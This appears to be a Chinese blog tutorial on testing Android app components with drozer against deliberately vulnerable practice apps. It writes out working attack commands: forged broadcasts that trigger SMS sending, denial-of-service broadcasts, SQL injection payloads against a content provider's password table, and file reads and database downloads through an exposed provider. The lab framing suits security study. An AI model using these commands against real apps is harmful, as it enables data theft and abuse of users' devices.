利用drozer简单测试安卓四大组件

利用drozer简单测试安卓四大组件_第1张图片
留下了没有技术的眼泪

0x00 常用命令方法和流程

  • 手机打开drozer agent,开启服务
  • 端口转发 adb forward tcp:31415 tcp:31415
  • 在安装目录开启drozer drozer console connect
  • 获得包名 run app.package.list -f 包名
  • 查找攻击面 run app.package.attacksurface 包名
  • 查看activity组件 run app.activity.info -a 包名
  • 调用activity组件 run app.activity.start --component 包名 组件名
  • 测试activity劫持
  • 查看Broadcast组件 run app.broadcast.info -a 包名
  • 打开手机日志 adb logcat
  • 发送恶意广播 run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222,在手机日志查看
  • 拒绝服务,空action run app.broadcast.send --component 包名 广播名,空extras run app.broadcast.send --action 广播名
  • 查看Services组件 run app.service.info -a 包名
  • 调用服务组件 run app.service.start --action 服务名 --component 包名 服务名
  • 查看Content组件 run app.provider.info -a 包名
  • 信息泄露,访问所有URL run scanner.provider.finduris -a 包名,查询URL的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
  • SQL注入(还是看详情吧)
  • 读取系统文件 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
  • 下载系统文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
  • 目录遍历 run scanner.provider.traversal -a 包名

0x01 四大组件

Activity(界面):通常展现为一个可视化的用户界面。
Service(服务):无用户界面,但它会在后台一直执行。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。
Content provider(内容提供者):主要用于在不同应用程序之间实现数据共享的功能。

0x02 准备环境

1.drozer下载地址:

https://pan.baidu.com/s/1hGj9BDex4JZNr7u74Dt4jg
这是整合了Python27的,解压缩直接安装即可,agent.apk需要安装到模拟器或者手机里面。

利用drozer简单测试安卓四大组件_第2张图片
解压缩后

被用来测试的APK(里面各种安卓漏洞)下载地址:
链接: https://pan.baidu.com/s/1oE3s04tXmIEWMW_9UbyLAQ
提取码:zjm1

2.其他环境

(1)adb下载地址https://pan.baidu.com/s/1b-gqxqsYdcTdInILa8bS4A(需要配置环境变量将安装目录放到PATH里面)
(2)JDK下载地址https://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html(同上)
(3)推荐一下吾爱破解的爱盘,里面的测试工具很多,找不到可以去里面搜索,感谢各位大表哥。https://down.52pojie.cn

0x03 准备测试

1.手机或者模拟器端

安装drozer Agent,打开开启服务,开启调试模式(模拟器不需要开启)


利用drozer简单测试安卓四大组件_第3张图片
手机

2.电脑端

(1)打开cmd,输入adb devices 查看连接的设备
(2)进行端口转发
adb forward tcp:31415 tcp:31415

利用drozer简单测试安卓四大组件_第4张图片
adb

(3)到drozer安装目录下面,运行
drozer console connect

drozer

如果出现Could not find Java
利用drozer简单测试安卓四大组件_第5张图片
Java问题

1).可能Java环境变量没有配好,在cmd输入Java时出现,说明没问题;
利用drozer简单测试安卓四大组件_第6张图片
Java

2).在drozer目录下建立名为 .drozer_config 的文件,添加如下内容

[executables]
java=C:\Program Files\Java\jdk1.8.0_151\bin\java.exe
javac=C:\Program Files\Java\jdk1.8.0_151\bin\javac.exe

Java的安装目录需要自行更改,安装位置一般如上,可自行查找,可能版本号略有不同;可能无法创建文件,可以先创建1.drozer_config,利用命令行
rename 1.drozer_config .drozer_config

0x04 组件测试

1.获得包名(package_name是测试的包名)

run app.package.list -f package_name
比如你知道包的一部分,就可以run app.package.list -f low(-f后面的package可以只是包名的一部分)


run app.package.list也可以直接查看全部应用从里面查找
再不行,可以直接用Android Killer获得的,跳过了这一步
包名

2.查找攻击面

run app.package.attacksurface package_name

利用drozer简单测试安卓四大组件_第7张图片
攻击面

发现有 6个 activities,12 个broadcast receivers ,0个 content providers,5个 services exported。

3.activity 组件测试

(1)查看activity组件信息

run app.activity.info -a package_name

利用drozer简单测试安卓四大组件_第8张图片
Activity组件详情

(2)调用暴露的activity组件

run app.activity.start --component package_name com.lp.patchActivity
patchActivity会启动主界面;
一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。

(3)Activity劫持

工具不方便提供,请自行百度
1.获取要劫持的应用;
2.劫持服务开始;
3.将程序放到后台,打开刚才选择要劫持的应用;
4.出现下图界面,说明劫持成功。


利用drozer简单测试安卓四大组件_第9张图片
劫持成功

4.Broadcast Receivers 组件测试

(1)查看Broadcast组件信息

run app.broadcast.info -a package_name

利用drozer简单测试安卓四大组件_第10张图片

(2)调用组件,测试发送恶意广播包

需要dex2jar反编译,利用jd-gui查看源代码,在源代码中查看广播名,一般只查看广播名的后半段,例如图中的PackageChangeReceiver(也可以直接用Android Killer查看)


利用drozer简单测试安卓四大组件_第11张图片

举例1
FourGoats.APP

利用drozer简单测试安卓四大组件_第12张图片

查看AndroidManifest.xml 文件,receiver 的 exported 设置未进行设置,说明可以发送恶意广播。

再查看源代码,可以看到源代码参数phoneNumber和massage,会发送Your text message has been sent!

利用drozer简单测试安卓四大组件_第13张图片

发送恶意代码
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa
注意,这里的--action后面的不是广播名,而是查看AndroidManifest.xml 文件得到的。
也可以用下面这样的语句,这里的广播名,就是查看广播信息后得到的。
run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222 --extra string message abc

利用drozer简单测试安卓四大组件_第14张图片

举例2
Vul_BroadcastReceiver.APP

利用drozer简单测试安卓四大组件_第15张图片

在 在新的cmd 窗口查看手机的 Log 日志
adb logcat


打开Vul_BroadcastReceiver.APP,输入任意值,点击Send,就可以在Log日志里面查看到信息。
利用drozer简单测试安卓四大组件_第16张图片

查看Java源代码,参数为number


利用drozer简单测试安卓四大组件_第17张图片

发送恶意广播包,在drozer上运行
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 66666

说明存在安全隐患。
当然例一也可以用例二中的方法查看

利用drozer简单测试安卓四大组件_第18张图片

恶意广播代码
run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa

利用drozer简单测试安卓四大组件_第19张图片

当然例二也可以用例一中的方法查看
查看源代码,代码意思就是向number发送一条短信,短信的内容为“Hi, Your Registration has been confirmed”
利用drozer简单测试安卓四大组件_第20张图片

测试可以真实手机,可以发送短信的手机,将number设为自己手机号。
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********

利用drozer简单测试安卓四大组件_第21张图片

(3)调用组件,拒绝服务攻击

拒绝服务分两种空 actoin 和空 extras
空action
run app.broadcast.send --component 包名 广播名


利用drozer简单测试安卓四大组件_第22张图片

空extras
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

利用drozer简单测试安卓四大组件_第23张图片

5.Services组件测试

(1)查看Services组件信息

run app.service.info -a package_name

利用drozer简单测试安卓四大组件_第24张图片

上面显示服务均为引用外部服务,如果引用外部组件,一般不测试;内部服务一般为包名加服务名。
利用drozer简单测试安卓四大组件_第25张图片

(2)调用内部服务组件

run app.service.start --action 服务名 --component 包名 服务名
可以先查看服务是干嘛的,了解服务是干嘛的再测试。

6.Content 组件测试(内容提供者)

需要用到的测试app--sives.apk

(1)查看组件信息

run app.provider.info -a 包名

利用drozer简单测试安卓四大组件_第26张图片

(2)信息泄露利用

获取所有可以访问的URL
run scanner.provider.finduris -a 包名

利用drozer简单测试安卓四大组件_第27张图片

查询Passwords数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

当然能查询到数据,前提是你通过sieve.app录入数据了


利用drozer简单测试安卓四大组件_第28张图片

(3)SQL 注入

先进行简单的注入检查
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"


run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*"

列出所有的表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
利用drozer简单测试安卓四大组件_第29张图片

查看表的内容
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

也可以直接进行注入点扫描,查找存在注入的点
run scanner.provider.injection -a com.mwr.example.sieve

利用drozer简单测试安卓四大组件_第30张图片

列出该app的表名
run scanner.provider.sqltables -a com.mwr.example.sieve

利用drozer简单测试安卓四大组件_第31张图片

(4)系统文件读取和下载

读取系统文件,有可能会不成功
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

利用drozer简单测试安卓四大组件_第32张图片

下载系统文件到本地
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

利用drozer简单测试安卓四大组件_第33张图片

(5)目录遍历

run scanner.provider.traversal -a com.mwr.example.sieve

利用drozer简单测试安卓四大组件_第34张图片

总结:

  1. 当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索android:exported);
  2. 当 组件为公有组件时,建议对其进行权限控制。

文章哪里写的不详细,不用想,那里我也不懂

利用drozer简单测试安卓四大组件_第35张图片

参考链接:
1.Drozer 官方网站工具
2.Drozer 官方使用指南 (中文版)
3.安卓四大组件审计实验(drozer)
4. drozer 工具的安装与使用:之一安装篇
5.Android 开发四大组件概述
6.Android 一一 简述 Android 四大组件
7.Android安全测试框架Drozer(使用篇)
8.drozer模式命令大全
9.Android 中的组件安全漏洞介绍和检测

你可能感兴趣的:(利用drozer简单测试安卓四大组件)